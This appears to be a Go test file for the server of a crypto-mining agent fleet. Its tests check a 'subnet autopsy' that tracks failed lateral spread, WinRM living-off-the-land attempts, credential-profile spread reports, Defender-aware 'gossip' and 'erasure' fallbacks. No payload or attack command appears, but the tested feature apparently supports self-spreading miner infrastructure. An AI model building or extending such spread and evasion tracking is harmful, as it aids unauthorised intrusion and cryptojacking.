Files
AetherForge/server/internal/api/subnet_autopsy_test.go
AetherForge 5853f80c48
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add adversarial L4 court chamber with Seer court_debate feed.
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
2026-06-07 09:21:44 -07:00

144 lines
3.8 KiB
Go

package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestSubnetAutopsyGETBuildsPacket(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
agentID := "autopsy-agent"
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "Patient", Wallet: "x", IP: "10.0.0.50", Status: "online",
}); err != nil {
t.Fatal(err)
}
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
}
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{AIPersona: "silent", ErasureLanesEnabled: true})
hub.mu.Lock()
hub.agentLiveTelemetry[agentID] = map[string]interface{}{
"join_lane": "wsus_cache_peer",
"lotl_attempts": []map[string]interface{}{
{"tier": "winrm", "ok": false, "error": "auth failed", "phase": "spread"},
},
}
hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
"10.0.0": {{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
}
hub.mu.Unlock()
handler := NewSubnetAutopsyHandler(hub, NewPathTracerHandler(hub))
req := httptest.NewRequest(http.MethodGet, "/atlas/subnet-autopsy?subnet=10.0.0.x", nil)
rec := httptest.NewRecorder()
handler.Get(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var pkt atlas.SubnetAutopsyPacket
if err := json.Unmarshal(rec.Body.Bytes(), &pkt); err != nil {
t.Fatal(err)
}
if pkt.Prefix != "10.0.0" || pkt.FailCount != 5 {
t.Fatalf("packet=%+v", pkt)
}
if pkt.Persona != "silent" || !pkt.ErasureFallback.AvailableAsFallback {
t.Fatalf("policy fields=%+v", pkt)
}
if len(pkt.LOTLAttempts) == 0 || pkt.LOTLAttempts[0].Tier != "winrm" {
t.Fatalf("attempts=%+v", pkt.LOTLAttempts)
}
if len(pkt.GossipWhispers) != 1 || pkt.CauseOfDeath == "" {
t.Fatalf("gossip/cause=%+v %q", pkt.GossipWhispers, pkt.CauseOfDeath)
}
}
func TestTriggerSubnetAutopsyEmitsSeerEvent(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.1.1")
}
hub := NewWSHub(database)
dashConn := connectTestDashboard(t, hub)
recv := make(chan map[string]interface{}, 1)
go func() {
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "seer_events" {
continue
}
var body map[string]interface{}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
recv <- body
return
}
}()
hub.TriggerSubnetAutopsy("10.1.1", nil)
select {
case ev := <-recv:
if ev["type"] != "subnet_immune_autopsy" || ev["prefix"] != "10.1.1" {
t.Fatalf("event=%v", ev)
}
if _, ok := ev["cause"].(string); !ok {
t.Fatalf("missing cause: %v", ev)
}
case <-time.After(3 * time.Second):
t.Fatal("timed out waiting for seer_events")
}
}
func TestSpreadCredReportTriggersAutopsyOnPause(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
for i := 0; i < 4; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.2.2")
}
hub := NewWSHub(database)
pathTracer := NewPathTracerHandler(hub)
h := NewSpreadCredHandler(database, nil)
h.BindAutopsyTrigger(hub, pathTracer)
body := `{"host":"10.2.2.9","subnet":"10.2.2","credential_profile_id":"p1","success":false}`
req := httptest.NewRequest(http.MethodPost, "/agent/spread-cred/report", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ReportEdge(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
pkt, ok := hub.SubnetAutopsy("10.2.2")
if !ok || pkt.FailCount != 5 || pkt.CauseOfDeath == "" {
t.Fatalf("autopsy=%+v ok=%v", pkt, ok)
}
}